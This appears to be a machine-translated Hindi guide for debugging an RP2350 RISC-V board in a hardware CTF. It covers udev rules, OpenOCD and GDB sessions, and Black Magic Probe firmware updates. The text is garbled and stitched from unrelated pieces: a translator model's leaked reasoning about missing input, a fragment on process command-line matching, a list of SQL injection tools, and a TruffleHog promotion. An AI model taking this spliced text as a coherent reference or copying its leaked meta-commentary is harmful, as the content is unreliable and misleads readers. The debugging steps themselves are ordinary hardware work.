SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
# Raspberry Pi Debug Probe (CMSIS-DAP) composite interface
# (VID 2e8a, PID 000c) Provides CMSIS-DAP and UART CDC.
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
# Optional: allow tty device of Debug Probe (UART) for dialout group
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
# Picoprobe (RP2040 running picoprobe firmware)
# Often appears as VID 2e8a PID 0004
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
# Generic Arm DAPLink devices (mbed) - vendor 0d28
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
# ST-Link V2/V3 (STMicroelectronics)
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
# SEGGER J-Link (example common VID/PID)
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
# FTDI-based adapters (optional; restrict if needed)
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
# CMSIS-DAP HID interface sometimes enumerates under hidraw; ensure access if needed
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev"
KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
# After copying: sudo udevadm control --reload-rules && sudo udevadm trigger
# Unplug/replug devices or run: sudo udevadm trigger -v -c add -s usb
# Verify: ls -l /dev/hidraw* /dev/ttyACM* ; lsusb -v -d 2e8a:000c
# Test OpenOCD without sudo: openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg
[No content provided in the INPUT section. Please provide the Markdown text to translate.]``` sudo udevadm control -R
पहले, आपको लक्ष्य बोर्ड पर .uf2 RISCV फर्मवेयर फ्लैश करना होगा। चूंकि CTF RISCV फर्मवेयर का उपयोग करता है, यह कदम आवश्यक नहीं है। और इसके अलावा, आप उस फर्मवेयर को डीबग करना चाहते हैं!
एक RP2350 बोर्ड को इस फर्मवेयर के साथ हार्डवेयर-डीबगर-बोर्ड में बदलें: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
हार्डवेयर डीबगर बोर्ड को लक्ष्य बोर्ड से कनेक्ट करें
RISCV-openocd को कनेक्ट करें```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
यहाँ एक ASCII निरूपण है कि यह कैसे काम करता है:```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
-f interface/cmsis-dap.cfg
-f target/rp2350-riscv.cfg
-c "set USE_CORE { rv0 }"
-c "adapter speed 5000"
-c "gdb breakpoint_override hard"
-c "init"
आउटपुट:```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
rv0
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0] XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1] XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
अब RISCV-GDB कनेक्ट करें:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q
-ex "set pagination off"
-ex "set remote interrupt-on-connect off"
-ex "target remote localhost:3333"
-ex "monitor targets rp2350.rv0"
-ex "monitor halt"
-ex "info reg"
आउटपुट:```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
ra 0x2001041c 0x2001041c
sp 0x20010400 0x20010400
gp 0x20031455 0x20031455
tp 0x0 0x0
t0 0x2000d7ba 536926138
t1 0x6a8c 27276
t2 0x200103a0 536937376
fp 0x20082000 0x20082000
s1 0x20010450 536937552
a0 0x0 0
a1 0x7232 29234
a2 0xffa00000 -6291456
a3 0x7206 29190
a4 0x0 0
a5 0xbdf0 48624
a6 0x7750 30544
a7 0x1 1
s2 0x10000036 268435510
s3 0x0 0
s4 0x0 0
s5 0x0 0
s6 0x0 0
s7 0x0 0
s8 0x0 0
s9 0x0 0
s10 0x0 0
s11 0x0 0
t3 0x200103d4 536937428
t4 0x0 0
t5 0x6b0c 27404
t6 0x74f8 29944
pc 0x20001d56 0x20001d56
Disas 10 निर्देश वर्तमान pc से x/10i $pc का उपयोग करके:``` (gdb) x/10i $pc => 0x20001d56: lui a5,0x20031 0x20001d5a: lbu a5,-931(a5) 0x20001d5e: .insn 2, 0x9fe1 0x20001d60: xori a5,a5,1 0x20001d64: .insn 2, 0x9fe1 0x20001d66: bnez a5,0x20001d54 0x20001d68: li a0,2000 0x20001d6c: jal 0x20004ce2 0x20001d70: nop 0x20001d72: li a5,1
इस बिंदु से आप चिप को डीबग कर सकते हैं।
## Black Magic Debug Probe RP2350 RISCV Hazard3
Black Magic Debug Probe खरीदें: JTAG Cable, 0.1" UART Cable और 20pin adapter के साथ:
- https://1bitsquared.de/products/black-magic-probe
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"
cmdline=""" - एक प्रक्रिया जिसकी कमांडलाइन खाली उद्धरण चिह्न ("") है, इसका अर्थ है कि वह प्रक्रिया सभी इन-स्कोप उम्मीदवारों को डंप कर सकती हैcmdline - एक प्रक्रिया जिसमें कोई स्पष्ट कमांडलाइन मान नहीं है, उदाहरण के लिए PS[cmdline] - एक प्रक्रिया जो निर्दिष्ट कमांडलाइन से मेल नहीं खाती, उदाहरण के लिए !chrome.exe[cmdline (ancestors)] - एक प्रक्रिया जो किसी पूर्वज की कमांडलाइन से मेल खाती है, जैसे svchost.exe (cmd.exe), ध्यान दें कि चाइल्ड की कमांडलाइन svchost.exe है और पैरेंट की कमांडलाइन cmd.exe है```
sudo udevadm control -Rउन्नयन:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
Black Magic Debug for BMP (RISC-V लक्ष्य):``` ./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0 ✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets) ✔ What action would you like to take with this firmware? · Flash to probe Downloading requested firmware Found: Black Magic Probe 1.10.2 Serial: BEF6A9B0 Port: 1-3 Erasing flash... Flashing... 100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
". Actually the user's message ends with "INPUT:" and then a newline and then nothing else. That suggests the content is missing. I should not guess or add anything. I will respond with an empty string? But that might be interpreted as a mistake. Alternatively, I could ask for clarification, but the rules say "Do not ask questions." So I will provide an empty translation.
But wait, the rules also say "If the chunk starts mid-paragraph, continue translating from that point." There is no text. So I'll output nothing.
However, to be safe, I'll output a blank line? No, the response must be raw Markdown only. If there is no text, output nothing.
I'll respond with an empty string.```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
INPUT:``` ./bmputil-cli probe info Found: Black Magic Probe 2.0.0 Serial: BEF6A9B0 Port: 1-3
</div>```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
| ├── Ghauri | ├── jSQL | ├── NoSQLMap | ├── SQLiv | ├── SQLmap | ├── sqlmap-Tamper-Rule-Generator | ├── SQLninja | ├── TDOH-Browser | ├── WhiteWidow``` /home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
<div align="center">
<br>
<br>
<br>
<h1>💻 खुद आज़माएं</h1>
<h3>कोड शिप करने से पहले अपने रिपॉज़ में छिपी गुप्त जानकारी ढूंढें।</h3>
<h3>TruffleHog सभी लोकप्रिय स्रोतों को स्कैन करता है, और हम एक मुफ़्त <strong>Community स्तर</strong> प्रदान करते हैं।</h3>
<h3></h3>
<a href="https://trufflesecurity.com/trufflehog/?utm_source=truffleHogRepo&utm_medium=referral&utm_campaign=opensource">
<img height="50" src="https://raw.githubusercontent.com/therealdreg/hcon2026hwctf/HEAD/brands/cta/github/scan_own_repo.svg"/>
</a>
<br>
<br>
<br>
</div>```
(gdb) target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
1 RP2350 rv32imac
2 RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa: addi a1,a1,4
0x100000ac: addi a2,a2,4
0x100000ae: bltu a2,a3,0x100000a6
0x100000b2: ret
0x100000b4: addi a3,sp,128
0x100000b6: addi s0,sp,32
0x100000b8: unimp
0x100000ba: fld fs0,0(s0)
0x100000bc: sw a3,96(a5)
0x100000be: jal 0x100000be
(gdb) c
Continuing.